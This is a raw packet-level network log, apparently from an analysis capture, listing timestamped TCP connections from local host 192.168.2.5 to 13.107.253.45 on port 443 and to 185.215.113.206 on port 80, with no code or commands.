Nov 5, 2024 10:13:19.513145924 CET	49732	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.513150930 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.513504982 CET	49730	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.513514996 CET	443	49730	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.513904095 CET	49730	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.513909101 CET	443	49730	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.642975092 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.643163919 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.643253088 CET	49731	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.649514914 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.649725914 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.649804115 CET	49732	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.650072098 CET	443	49730	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.650374889 CET	443	49730	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.653050900 CET	49730	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.654252052 CET	49731	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.654280901 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.654297113 CET	49731	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.654305935 CET	443	49731	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.655401945 CET	49732	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.655410051 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.655419111 CET	49732	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.655422926 CET	443	49732	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.656320095 CET	49730	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.656327963 CET	443	49730	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.656335115 CET	49730	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.656339884 CET	443	49730	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.658639908 CET	49735	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.658677101 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.658751011 CET	49735	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.659651995 CET	49736	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.659665108 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.660007000 CET	49735	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.660018921 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.660039902 CET	49736	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.660156012 CET	49736	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.660166979 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.660171032 CET	49737	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.660182953 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.660240889 CET	49737	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.660357952 CET	49737	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.660368919 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.663698912 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:19.668487072 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:19.668550014 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:19.668760061 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:19.673691988 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:19.965086937 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.974227905 CET	49733	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.974245071 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:19.974709988 CET	49733	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:19.974720955 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.002633095 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.003062010 CET	49734	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.003071070 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.003473043 CET	49734	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.003478050 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.105968952 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.106014013 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.106184959 CET	49733	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.106229067 CET	49733	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.106246948 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.106256008 CET	49733	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.106261015 CET	443	49733	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.109072924 CET	49739	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.109083891 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.109164953 CET	49739	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.109280109 CET	49739	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.109291077 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.142056942 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.142111063 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.142167091 CET	49734	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.142318010 CET	49734	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.142324924 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.142333031 CET	49734	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.142338037 CET	443	49734	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.144820929 CET	49740	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.144835949 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.145083904 CET	49740	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.145083904 CET	49740	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.145107031 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.403652906 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.404114962 CET	49737	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.404122114 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.404601097 CET	49737	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.404604912 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.418484926 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.418804884 CET	49735	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.418813944 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.419301033 CET	49735	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.419306040 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.451184034 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.451505899 CET	49736	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.451514959 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.451859951 CET	49736	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.451864004 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.539875984 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.539984941 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.540222883 CET	49737	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.540252924 CET	49737	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.540258884 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.540268898 CET	49737	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.540275097 CET	443	49737	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.542947054 CET	49741	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.542977095 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.543057919 CET	49741	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.543231010 CET	49741	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.543241978 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.557172060 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.557272911 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.557333946 CET	49735	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.557356119 CET	49735	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.557377100 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.557388067 CET	49735	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.557391882 CET	443	49735	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.559547901 CET	49742	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.559572935 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.559652090 CET	49742	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.559772015 CET	49742	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.559787035 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.567869902 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:20.567924976 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:20.570712090 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:20.575666904 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:20.604562044 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.604607105 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.604661942 CET	49736	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.604801893 CET	49736	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.604811907 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.604821920 CET	49736	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.604825974 CET	443	49736	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.607055902 CET	49743	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.607069969 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.607136011 CET	49743	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.607255936 CET	49743	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.607264996 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.861737013 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:20.861800909 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:20.862698078 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:20.867635965 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:20.872087955 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.872538090 CET	49739	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.872545004 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:20.873069048 CET	49739	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:20.873073101 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.013385057 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.013427019 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.013470888 CET	49739	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.013679028 CET	49739	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.013684034 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.013691902 CET	49739	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.013695955 CET	443	49739	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.016577005 CET	49744	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.016587973 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.016645908 CET	49744	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.016875982 CET	49744	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.016885996 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.142770052 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.142818928 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.142837048 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.142858982 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.143963099 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.148756981 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.215420008 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.215898037 CET	49740	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.215915918 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.216371059 CET	49740	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.216377020 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.299323082 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.300091028 CET	49741	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.300106049 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.300497055 CET	49741	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.300501108 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.353230953 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.353605986 CET	49742	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.353615999 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.354027033 CET	49742	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.354032993 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.359040976 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.359328032 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.359385014 CET	49740	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.363997936 CET	49740	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.364006042 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.364016056 CET	49740	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.364020109 CET	443	49740	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.367083073 CET	49745	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.367108107 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.367186069 CET	49745	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.367336035 CET	49745	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.367350101 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.369880915 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.370234013 CET	49743	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.370245934 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.370628119 CET	49743	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.370631933 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.423652887 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.423670053 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.423716068 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.423732042 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.423913002 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.423923969 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.423934937 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.423948050 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.423964977 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.424129009 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.424158096 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.424170017 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.424187899 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.424228907 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.425525904 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.430495024 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.438483953 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.438555956 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.438605070 CET	49741	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.438683033 CET	49741	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.438702106 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.438709974 CET	49741	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.438714981 CET	443	49741	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.440779924 CET	49746	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.440794945 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.440871954 CET	49746	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.440989971 CET	49746	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.441003084 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.507400990 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.507461071 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.507531881 CET	49743	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.507742882 CET	49743	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.507751942 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.507761955 CET	49743	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.507766962 CET	443	49743	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.510205030 CET	49747	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.510216951 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.510296106 CET	49747	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.510453939 CET	49747	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.510467052 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.705297947 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.705503941 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.712970972 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.713196993 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.713258028 CET	49742	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.713284969 CET	49742	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.713290930 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.713296890 CET	49742	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.713300943 CET	443	49742	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.716176033 CET	49748	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.716214895 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.716284037 CET	49748	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.716433048 CET	49748	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.716444969 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.722318888 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.722382069 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:21.727364063 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.727372885 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.727376938 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.727390051 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.727397919 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.727406025 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:21.779175997 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.779555082 CET	49744	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.779561996 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.779999971 CET	49744	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.780003071 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.918344975 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.918488026 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.918546915 CET	49744	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.918663025 CET	49744	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.918670893 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.918684959 CET	49744	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.918689013 CET	443	49744	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.921233892 CET	49749	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.921248913 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:21.921335936 CET	49749	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.921477079 CET	49749	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:21.921489000 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.128426075 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.128884077 CET	49745	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.128899097 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.129349947 CET	49745	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.129355907 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.197110891 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.197514057 CET	49746	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.197526932 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.198026896 CET	49746	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.198031902 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.266150951 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.266216993 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.266283989 CET	49745	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.266463041 CET	49745	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.266474962 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.266485929 CET	49745	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.266490936 CET	443	49745	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.269131899 CET	49750	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.269170046 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.269254923 CET	49750	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.269382954 CET	49750	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.269395113 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.271876097 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.272203922 CET	49747	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.272213936 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.272635937 CET	49747	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.272639990 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.334702015 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.334846020 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.334904909 CET	49746	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.334943056 CET	49746	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.334952116 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.334960938 CET	49746	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.334964991 CET	443	49746	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.337029934 CET	49751	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.337044954 CET	443	49751	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.337119102 CET	49751	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.337402105 CET	49751	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.337414980 CET	443	49751	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.409966946 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.410037994 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.410083055 CET	49747	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.410238028 CET	49747	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.410243988 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.410258055 CET	49747	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.410260916 CET	443	49747	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.412961960 CET	49752	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.412998915 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.413081884 CET	49752	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.413245916 CET	49752	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.413259983 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.472487926 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.472887993 CET	49748	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.472908974 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.473320007 CET	49748	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.473325014 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.522922993 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:22.523008108 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:22.627047062 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.627109051 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.627162933 CET	49748	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.627437115 CET	49748	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.627455950 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.627465010 CET	49748	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.627470970 CET	443	49748	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.630275011 CET	49753	443	192.168.2.5	13.107.253.45
